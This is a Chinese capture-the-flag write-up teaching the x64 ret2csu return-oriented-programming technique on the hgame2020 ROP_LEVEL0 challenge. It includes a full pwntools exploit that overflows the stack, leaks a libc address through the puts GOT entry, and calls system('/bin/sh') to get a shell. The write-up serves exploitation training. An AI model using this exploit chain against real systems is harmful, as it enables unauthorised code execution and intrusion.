ret2csu
原理:
(所谓 gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。)
在64位程序中,函数的前6个参数是通过寄存器传递的,但是大多时候,我们很难找到每一个寄存器对应的gadgets。而这时我们就可以利用x64下的 __libc_csu_init中的gadgets。这个函数是用来对libc进行初始化操作的,而一般的程序都会调用libc函数,所以这个函数是一定存在的。不同版本的 libc_csu_init有一定的区别。
我们可以利用多的点:
1、从0x40074A到结尾,我们可以利用栈溢出构造栈上数据来控制rbx,rbp,r12,r13,r14,r15寄存器的数据。
2、从0x400730到0x400739,我们可以将r13赋给rdx,将r14赋给rsi,将r15d赋给edi,而这三个寄存器,也是x64函数调用中传递的前三个寄存器。此外,如果我们可以合理的控制r12和rbx,那么我们就可以调用我们想要调用的函数。比如我们可以控制rbx为0,r12存储为我们想要调用的函数地址。
3、从0x400730到0x400744,我们可以控制rbx与rbp的之间的关系为rbx+1=rbp,这样我们就不会执行loc_400730,进而可以继续执行下面的汇编程序。这里我们可以简单的设置rbx=0,rbp=1。
例子:
(原题为hgame2020的ROP_LEVEL0)
64位程序,只开启的NX堆栈不可执行保护。
主函数:一个简单的栈溢出漏洞。
浏览程序后,发现并没有system函数地址,也没有/bin/sh字符串。所以我们要泄露libc函数的从而拿到system函数和/bin/sh字符串真正的地址。
但是我们又发现了vuln函数,并且其存在栈溢出漏洞。
我们看到主函数的第一个read处只能溢出0x10个字节,即两个地址。当发现vuln函数中的read函数可以溢出大量地址。所以我们可以利用主函数中的第一个read函数的返回地址为vuln从而利用vuln中的read泄露libc地址。
思路:
1、通过read函数调用vuln函数。
2、利用栈溢出执行libc_csu_gadgets泄露puts函数的got表,获取puts函数地址,并使程序重新返回vuln函数。
3、根据libcsearcher获取对应libc版本及system函数地址以及/bin/sh地址。
4、再次利用栈溢出执行system(’/bin/sh’)获取shell。
exp:
from pwn import *
from LibcSearcher import*
#context.log_level='debug'
elf=ELF('./ROP_LEVEL0')
p=process('./ROP_LEVEL0')
puts_got=elf.got['puts']
log.success('puts_got => {}'.format(hex(puts_got)))
padding='a'*0x50+'a'*8
vuln_addr=elf.symbols['vuln']
payload1=padding+p64(vuln_addr)
p.sendline(payload1)
csu_front_add=0x400730
csu_end_add=0x40074A
pop_rdi_ret=0x400753
def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r15d
# rsi=r14
# rdx=r13
payload = 'a' * 0x18
payload += p64(csu_end_add) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_front_add)
payload += p64(last)*8
p.sendline(payload)
csu(0,1,puts_got,puts_got,puts_got,puts_got,vuln_addr)
p.recvline()
puts_add = u64(str(p.recv(6)+'\x00\x00'))
log.success('puts_add => {}'.format(hex(puts_add)))
obj=LibcSearcher('puts',puts_add)
puts_offset=obj.dump('puts')
system_offset=obj.dump('system')
bin_sh_offset=obj.dump('str_bin_sh')
puts_base=puts_add-puts_offset
log.success('puts_base => {}'.format(hex(puts_base)))
system_add=puts_base+system_offset
bin_sh_add=puts_base+bin_sh_offset
log.success('system_add => {}'.format(hex(system_add)))
log.success('bin_sh_add => {}'.format(hex(bin_sh_add)))
payload2='a'*0x18+p64(pop_rdi_ret)+p64(bin_sh_add)+p64(system_add)
p.sendline(payload2)
p.interactive()